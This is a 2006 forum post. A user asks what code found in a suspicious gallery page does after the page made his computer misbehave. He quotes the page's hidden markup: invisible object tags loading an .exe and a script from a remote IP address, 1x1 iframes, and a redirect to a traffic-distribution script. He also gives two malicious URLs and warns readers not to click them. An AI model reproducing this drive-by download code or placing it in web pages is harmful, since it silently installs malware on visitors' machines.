View Single Post
Old 01-12-2006, 09:09 AM  
Dirty F
Too lazy to set a custom title
 
Dirty F's Avatar
 
Industry Role:
Join Date: Jul 2001
Posts: 59,204
Does anybody have a test machine to see what this code does?

I checked a gallery and the sec i clicked it my puter started going crazy. It started loading something it seems and took mins before it was back to normal.
I checked the source of the gallery and notice some odd stuff...

This is the url. DO NOT CLICK IT!
h ttp://195.225.177.38/mind/r001/

And inside i found stuff like:

Code:
<object data="http://195.225.177.38/rnrdnew/str.exe" type="text/x-scriptlet" STYLE=display:none>  
</object>  
<object data="http://195.225.177.38/rnrdnew/strsp2.js" type="text/x-scriptlet" STYLE=display:none>  
</object>  
<iframe src="http://195.225.177.38/rnrdnew/index.html" width=1 height=1 style="display:none"></iframe>

<SCRIPT language=JavaScript type=text/JavaScript>
<!--

      if (parent.window.opener) parent.window.opener.location='http://195.225.177.38/tds/in.cgi?nine';
     //-->
     </SCRIPT>

<iframe src="http://195.225.177.38/mind/st/index.htm" width="1" height="1"></iframe>
Anybody know what all this crap is? I see no signs of infection yet but i think im hit with something.

Also this opened in a new window: ONE AGAIN DO NOT CLICK unless you're on a test machine.

h ttp://82.179.166.2/default.php?id=83556&c=cHw1J1sN3Jy70Z9v8JLN1D4XJNc RA1u7
Dirty F is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote